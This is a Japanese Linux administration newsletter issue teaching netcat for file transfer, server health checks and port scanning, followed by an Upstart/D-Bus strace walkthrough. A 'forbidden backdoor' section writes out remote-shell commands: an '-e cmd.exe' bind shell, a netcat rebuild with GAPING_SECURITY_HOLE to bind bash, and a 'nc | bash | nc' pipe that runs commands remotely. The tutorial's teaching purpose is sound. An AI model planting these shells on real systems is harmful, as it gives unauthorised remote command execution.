いますぐ実践! Linuxシステム管理

[バックナンバーのトップへ] [Linux システム管理のトップへ]


いますぐ実践! Linux システム管理 / Vol.190 / 読者数:1677名

こんばんは、うすだです。

前回、HDD を換装したと書きましたが、 Vista を入れた後 Ubuntu 10.10 をインストールし、さらに、 デスクトップ環境を「Unity」にしました。

Unity
http://unity.ubuntu.com/

Mac みたく、各ウィンドウのメニューがデスクトップの上部に集約されるため、 その分ちょっと広く使えるような気がします。
(その代わりに、Dock みたいなヤツの分、狭くなっていますが。)

VMware Player のメニューがどこにも出てこなかったり、 カスタマイズが行いにくい(あるいは行えない)などの問題も、ちらほら見かけます。
ですが、それほど困らないし、思ったより使い勝手がよいので、 しばらく使いつづけようと思います。

ただ、気になるのは、ネットブック向け(Netbook Edition や Light とかに採用される) らしいのに、GNOMEと比べて軽いように思えないことです。

アイコンなどがびょんびょん動くのを見るたびに、 そのパワーを仮想環境に使えないものかと思ってしまいます。
(GPUの機能でほとんどをまかなっているのかもしれませんが…。)

Garbage Collection じゃないですが、余分な CPU パワーをかき集めて、 再利用できる機能があったらなぁ、と思いました。

考え方を大きく間違えたところで、今回もはりきってまいりましょう。

今回のお題 - Netcat でネットワークをもう少し活用する

システム管理とネットワークは、切っても切れない関係です。

サーバが提供するサービスのほとんどは、 ネットワーク越しに行われると言っても過言ではありません。
ですので、トラブルの多くは、ネットワークが絡んでいると思います。

われわれシステム管理者は、そのような不測の事態に備えるため、 ネットワークに関する知識や、問題を調べたりするための手段などを、 トラブルになる前から、知っておく必要があります。

知識に関しては、世の中にたくさん出回っている書籍を読んでいただくとして、 手段に関しては、当メルマガをきっかけに、実際にいろいろ触ってみることで、 経験値を稼いでいけるのではないかと思います。

というわけで今回は、Netcatという万能なツールを使って、 ネットワークを自在に(というと言い過ぎですが…)扱ってみたいと思います。

Netcat とは?

Netcat とは、TCP や UDP で通信を行うためのコマンドです。
Linux などのUNIX系OSだけでなく、Windows で動作するものもあります。

The GNU Netcat
http://netcat.sourceforge.net/
Netcat for Windows
http://joncraton.org/blog/netcat-for-windows

非常に万能なため、 ネットワークのスイスアーミーナイフと呼ばれることもあるようです。 (Wikipediaより)

そんなすごそうな Netcat ですが、実体は「nc」というコマンドです。

基本的には、標準入出力に入出力した内容を、指定した相手に送受信してくれます。
telnet コマンドとは違い、遠隔ログインを目的としませんので、 Ctrl+c で nc コマンドを強制終了できるなど、扱いやすくなっています。
(telnet コマンドが Ctrl+c で終了すると困りますけどね。)

Fedora14 や Ubuntu10.10 などでは最初から入っていますが、 もし nc が見当たらない場合は、yum や apt などで、 「netcat」というパッケージをインストールしてください。

フツーに通信してみます

今回はウンチクなしで、使用例をどんどん羅列していきたいと思います。

まずは、2つのマシン間で通信させてみましょう。
マシン receiver では、以下のように実行すると、 ポート番号 12345 で待ち受けます。(あ、ちなみに TCP です。)

  receiver$ nc -l 12345

そして、別のマシンから、以下のように実行しますと、 上記の標準出力に This is a test と出力されます。

  sender$ echo "This is a test" | nc receiver 12345

パイプ(|)経由で標準入力から受け取った文字(This is a test)を、 引数で指定されたマシン receiver のポート番号 12345 に送信しています。

TCPのセッションが終了すると nc も終了しますので、ファイル転送にも使えます。 (紙面の都合上、以降では一緒くたに記載します。)

  receiver$ nc -l 12345 > /tmp/hosts.sender
  sender$ nc receiver 12345 < /etc/hosts

待ち受ける方が送ることもできます。

  sender$ nc -l 12345 < /etc/crontab
  receiver$ nc sender 12345 > /tmp/crontab.sender
また、「-u」オプションを使うと、UDP で送受信します。
  receiver$ nc -u -l 12345
  sender$ echo "This is a test" | nc -u receiver 12345

ただ、コネクションレスだからでしょうか、送信側の nc が終了しても、 受信側は待ち受けたまま終了しません。

ちなみに、Windows 版で待ち受ける際は、「-p」オプションでポート番号を指定します。

  win> nc -l -p 12345

サーバの動作確認に使えます

次は、各種サーバの動作確認に、nc コマンドを利用したいと思います。

いずれも、標準入力からコマンドなどのリクエストを送ると、 標準出力にレスポンスが返りますので、 返事の有無でサーバが生きているかどうかを判断できます。

 

まずは、お決まりの Web サーバからまいりましょう。

たとえば、ヘッダだけ要求して返事が戻ってくれば、 Web サーバがきちんと動作していることがわかります。
というわけで、以下のように実行すればよいと思います。
(接続先の Web サーバが www.google.com なのは、ご愛嬌です。)

  $ printf "HEAD / HTTP/1.0\n\n" | nc www.google.com 80
  HTTP/1.0 302 Found
  Location: http://www.google.co.jp/
  Cache-Control: private
  Content-Type: text/html; charset=UTF-8
  ...
  Server: gws
  Content-Length: 221
  X-XSS-Protection: 1; mode=block

上記のように、Web サーバが生きている場合は返事がありますが、 そうでない場合は、ある程度時間が経過してから nc コマンドが終了します。

  $ printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80
  $ 

何も言いませんが、終了ステータスが 0 でなくなっています。

  $ printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80
  $ echo &?
  1

ですので、いつものように「||」を使えば、失敗したことがわかります。

  $ printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80 || echo NG
  NG

あるいは、「-v」オプションを指定すると、おしゃべりになります。

  $ printf "HEAD / HTTP/1.0\n\n" | nc -v wwwserver 80
  nc: connect to wwwserver port 80 (tcp) failed: No route to host

また、「-w」オプションを使用すると、「ある程度」ではなく、 指定した秒数後に nc コマンドが時間切れとなって終了します。
(以下の場合は、2秒経っても TCP のセッションが確立されなかったり、 応答がなかったりすると、終了します。)

  $ printf "HEAD / HTTP/1.0\n\n" | nc -w 2 wwwserver 80 || echo NG
  NG

ちなみに、Ubuntu の場合は、「-q」オプションでちょっと待たせる必要がありました。 Web に限らず、以降のすべてにおいて必要っぽいです。
(Fedora などには、「-q」オプションはありません。)

  ubuntu$ printf "HEAD / HTTP/1.0\n\n" | nc -q 1 www.google.com 80

 

お次は FTP サーバと POP サーバです。
プロトコルは違うのですが、 どちらも QUIT コマンドですぐに終了させてしまうことができます。
たとえば、ftpserver の生存を確認するには、以下のように実行します。

  $ echo QUIT | nc ftpserver 21
  220 ftpserver FTP server (Version 6.4/OpenBSD/Linux-ftpd-0.17) ready.
  221 Goodbye.

POP サーバの場合は以下の通りです。

  $ echo QUIT | nc popserver 110
  +OK Qpopper (version 4.0.9) at popserver starting. ...
  +OK Pop server at popserver signing off.

生存していないときは、前述の通り、無言で nc コマンドが終了します。
また、Ubuntu の場合は -q オプションをつけてください。

ポートスキャンもできます

ここからは、システム管理から少々脱線していきます。

「-z」オプションを使用すると、接続した後なにも送受信しません。
ですので、たとえば、マシン server のポート22番(SSHですね) が開いているかどうかだけを確認したいときには、以下のように実行します。

  $ nc -v -z server 22
  Connection to server 22 port [tcp/ssh] succeeded!

さらに、ポート番号は、「数字-数字」のように範囲で指定できます。
ですので、20〜30番のポートが開いているかどうかは、 以下のように実行するとわかります。

  $ nc -v -z server 20-30
  nc: connect to server port 20 (tcp) failed: Connection refused
  nc: connect to server port 20 (tcp) failed: Connection refused
  Connection to server 21 port [tcp/ftp] succeeded!
  Connection to server 22 port [tcp/ssh] succeeded!
  nc: connect to server port 23 (tcp) failed: Connection refused
  nc: connect to server port 23 (tcp) failed: Connection refused
  nc: connect to server port 24 (tcp) failed: Connection refused
  nc: connect to server port 24 (tcp) failed: Connection refused
  ...

ファイアウォールなどの設定が正しいかどうか、確認するのに有用です。
ただし、自身の管理下にあるマシンに対してのみ、使用してください。
(不正アクセスと間違われるかもしれませんので…。)

禁断のバックドアも…

nc には「-e」オプションというものがあります。
これは、nc の標準入出力を、 指定したコマンドにリダイレクトするためのオプションです。

たとえば、Windows マシン上で、以下を実行してみましょう。

  > nc -l -p 8023 -e \windows\system32\cmd.exe

そして、他のマシンから接続すると、入出力が cmd.exe にリダイレクトされますので、 Windows のコマンドが実行できてしまいます。

  $ nc windows 8023
  Microsoft Windows 2000 [Version 5.00.2195]
  (C) Copyright 1985-2000 Microsoft Corp.

  C:\Program Files\nc111nt>attrib \windows\system32\cmd.exe
  attrib \windows\system32\cmd.exe
  A          C:\windows\system32\cmd.exe

  C:\Program Files\nc111nt>

ただし、Ubuntu や Fedora では、「-e」オプションを使用できません。
どうしても使いたいという貴兄は、 ソースを入手して自力でコンパイルをしてください。
例として、Ubuntu でソースパッケージを入手してコンパイルする手順を以下に示します。

  ubuntu$ mkdir netcat-tmp
  ubuntu$ cd netcat-tmp
  ubuntu$ apt-get source netcat
  ubuntu$ cd netcat-1.10
  (netcat.c に #include <resolv.h> の一文を追加する)
  ubuntu$ make linux STATIC='' \
  DFLAGS='-DLINUX -DTELNET -DGAPING_SECURITY_HOLE -DIP_TOS' \
  XLIBS='-lresolv'
  ubuntu$ ./nc -l -p 8023 -e /bin/bash

あるいは、強引ですが、-eオプションを使わないで行う方法もあります。
まず、実行したい側(client というホスト)で以下を実行します。
(ちなみに、ここに実行した結果が出力されます。)

  client$ nc -l 8023

そして、実行される側(server というホスト)で以下を実行します。

  server$ nc -l 9023 | bash | nc client 8023

最後に、client で以下を実行し、コマンドを入力します。

  client$ nc server 9023
  ls    <== 実行したいコマンドを入力

すると、最初に実行した nc の標準出力に、結果が出力されます。
回りくどいですが、目的は達成されると思います。
(ちなみに、プロンプトが表示されませんが、それは tty じゃないからだと思われます。)

おわりに

以上、Netcat の簡単な使い方をご紹介しました。

上記だけでも、なにかのとき役に立ったり、後輩に自慢したりできるかもしれません。 目を通すだけでなく、ちょろっとでも動かしてみましょう。

また、他にもいろいろなオプションがあります。
オンラインマニュアル(man nc)に記載されていますので、 気になる貴兄は試してみてください。

宿題の答え

前回の宿題は、

  Upstart のイベントは、なにを使って実現されているのでしょうか?

でした。

安直に、strace で追いかけてみましょう。
(strace は、システムコールをトレースしてくれるコマンドです。)

  # strace initctl emit dummy-event
  ...
  socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC, 0) = 3
  connect(3, {sa_family=AF_FILE, path=@"/com/ubuntu/upstart"}, 22) = 0
  fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
  fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
  geteuid32()                             = 0
  getsockname(3, {sa_family=AF_FILE, NULL}, [2]) = 0
  write(3, "\0", 1)                       = 1
  send(3, "AUTH EXTERNAL 30\r\n", 18, MSG_NOSIGNAL) = 18
  read(3, "OK 93415ebae22a37400a8aff0900000"..., 2048) = 37
  send(3, "NEGOTIATE_UNIX_FD\r\n", 19, MSG_NOSIGNAL) = 19
  read(3, "AGREE_UNIX_FD\r\n", 2048)      = 15
  send(3, "BEGIN\r\n", 7, MSG_NOSIGNAL)   = 7
  sendmsg(3, {msg_name(0)=NULL, msg_iov(2)=[..., 120}, {..., 24}], \
  msg_controllen=0, msg_flags=0}, MSG_NOSIGNAL) = 144
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[..., 2048}], msg_controllen=0, \
  msg_flags=MSG_CMSG_CLOEXEC}, MSG_CMSG_CLOEXEC) = 24
  recvmsg(3, 0xbfdd2d28, MSG_CMSG_CLOEXEC) = -1 EAGAIN
  close(3)                                = 0

ちなみに、実際の出力結果では、各所の間に poll() があります。
ですが、本筋と関係ない(と思われる)ため、上記では割愛しています。

で、順番に見ていきますと、

  1. "/com/ubuntu/upstart" というUNIXドメインソケットにconnectする。
  2. "AUTH EXTERNAL 30\r\n" を送信する。
  3. "OK 云々..." を受信する。
  4. "NEGOTIATE_UNIX_FD\r\n" を送信する。
  5. "AGREE_UNIX_FD\r\n" を受信する。
    ...以下略...

といったことを行っています。
これらの、AUTH や NEGOTIATE_UNIX_FD などといったやりとりは、 まさに D-Bus で使われるコマンドそのものです。

D-Bus Specification
http://dbus.freedesktop.org/doc/dbus-specification.html

というわけで、D-Bus を使っていると言ってよさそうです。
(実際、upstart のソースコード(util/initctl.c)を見ますと、 D-Bus の関数を呼び出している箇所が随所に見られます。)

 

また、だれと通信しているかと言いますと、 プロセスIDが 1 の init の他に考えにくいのですが、念のため確認しておきます。

まず、/com/ubuntu/upstart のiノードを確認します。

  $ netstat -lnx
  Active UNIX domain sockets (only servers)
  Proto RefCnt Flags    Type    State      I-Node  Path
  ...
  unix  2      [ ACC ]  STREAM  LISTENING  6007    @/com/ubuntu/upstart
  ...

上記の場合、6007 だということがわかります。
そして、init がオープンしているファイルディスクリプタを、 procfs で確認しますと、ビンゴ! な socket が見つかりました。

  # ls -l /proc/1/fd
  ...
  lrwx------ 1 root root 64 2010-11-13 17:59 7 -> socket:[6007]
  ...

というわけで、Upstart のイベントは D-Bus を使って実現されており、 init と直接やりとりしていると思われます。

今回の宿題

今回の宿題は、

  nc を使って、Webサーバの稼働を定期的に監視してみましょう。

です。

Webサーバを監視するツールは星の数ほどありそうですが、 ここは Netcat を使いこなす練習問題だと思って、やってみてください。
(監視するスクリプトを書いて、cron などで定期的に実行させればよいと思います。)

あとがき

相変わらず、栗と、某雑誌の原稿と、 当メルマガに日々を支配されているように思います。

いつの間にか、新しいことをしていない自分に気づき、 こりゃいかんなあと思っていたところ、以下の記事に目が止まりました。

マンネリ化した自分を「前進」させるための10の方法
http://japan.zdnet.com/sp/feature/07tenthings/story/0,3800082984,20422429,00.htm

マンネリ感があったり、自分を変えたいと思ったときに、 活を入れるための10の方法が書かれています。
非常にタイムリーだったため、自分のために書いてくださったのではないか、 と勘違いしてしまいそうになりました。

中でも、「まず動く」「苦労を楽しむ」にピピッと来ました。
前者は、いつも申し上げている通り、「実践」あるのみ! ということだと思います。
また、後者は、なにか問題が起こったときに、自己正当化して人のせいにしないで、 自分を成長させてくれるものなのだと思って、闘いを楽しめ! ということだと思います。
特に後者は、よく自己正当化してしまう傾向にあるので、注意していこうと思いました。

また、過去の失敗をときどき思い出してはヘコむ、 ということをよくしてしまいますので、 「自分の失敗を深刻に考えすぎない」ということも肝に銘じたいと思います。

春の来ない冬はないと思います。
もし低迷されているかたがいらっしゃいましたら、嘆いてばかりでなく、 なにか変えるためのアクションを、 ささいなことでもいいから始めてみてはいかがでしょうか。 (わたしもいまから始めますのでー。)

 

今回も、ここまで読んでいただき、たいへんありがとうございました。
次回は、12月5日(日) の未明にお会いしましょう!

 

「いますぐ実践! Linux システム管理」の解除は、以下からできます。
http://www.usupi.org/sysad/ (まぐまぐ ID:149633)

バックナンバーは、こちらにほぼ全部そろっています。
http://www.usupi.org/sysad/backno.html

「栗日記」- 栗の季節が終わり、アクセス数ももとに戻りました…。
http://www.usupi.org/kuri/ (まぐまぐ ID:126454)
http://usupi.seesaa.net/ (栗日記ブログ)
http://usupi.org/k/ (モバイル栗日記)


[バックナンバーのトップへ] [Linux システム管理のトップへ]

トップ

バックナンバー
    [日付順] [目的別]

プロフィール

▼ リンク

独学Linux
Linuxデスクトップ環境に関する情報が満載です。 メルマガもありますよ。
Server World
CentOS 6をサーバとしたときの設定例が、これでもかというくらいたくさん載っています。 CentOS以外のディストリビューション(Fedora, Ubuntu)も充実しています。
LINUXで自宅サーバーを構築・導入(Fedora9)
Fedora9のインストールの仕方から管理方法まで、詳しく載っています。 SearchManには情報がもりだくさんです。
マロンくん.NET
〜サーバ管理者への道〜
Linuxをサーバとして使用するための、いろいろな設定方法が載っています。 マロンくんもかわいいです。 なんといっても、マロンくんという名前がいいですね!!
日経Linux
今や数少なくなってしまったLinuxの雑誌。ニュースやガイドもあります。
Linux Square − @IT
@ITが提供する、Linux の情報が満載。 載っていない設定方法はないんじゃないでしょうか。
gihyo.jp…技術評論社
Linuxに限らず様々な技術情報が満載のサイト。 SoftwareDesign誌も、 ソフトウェア技術者は必見です。
SourceForge.JP Magazine
Linux に限らず、オープンソース関連の記事が網羅されています。
ITmediaエンタープライズ:Linux Tips 一覧
Tips というより FAQ 集でしょうか。わからないことがあれば覗きましょう。
IBM developerWorks : Linux
開発者向けですが、勉強になりますよ。
Yahoo!ニュース - Linux
Yahoo!のLinuxに関するニュース一覧です。
栗日記
システム管理とかと全然関係ありませんが、毎日栗の絵を描いています。
システム管理につかれちゃったとき、癒されたいときに、ご覧ください。:-)
WEB RANKING - PC関連
ランキングに参加してみました。押してやってください。

▼ 作ってみました

Add to Google

▼ せんでん




▼ 最近読んだ本

▼ 気に入ってる本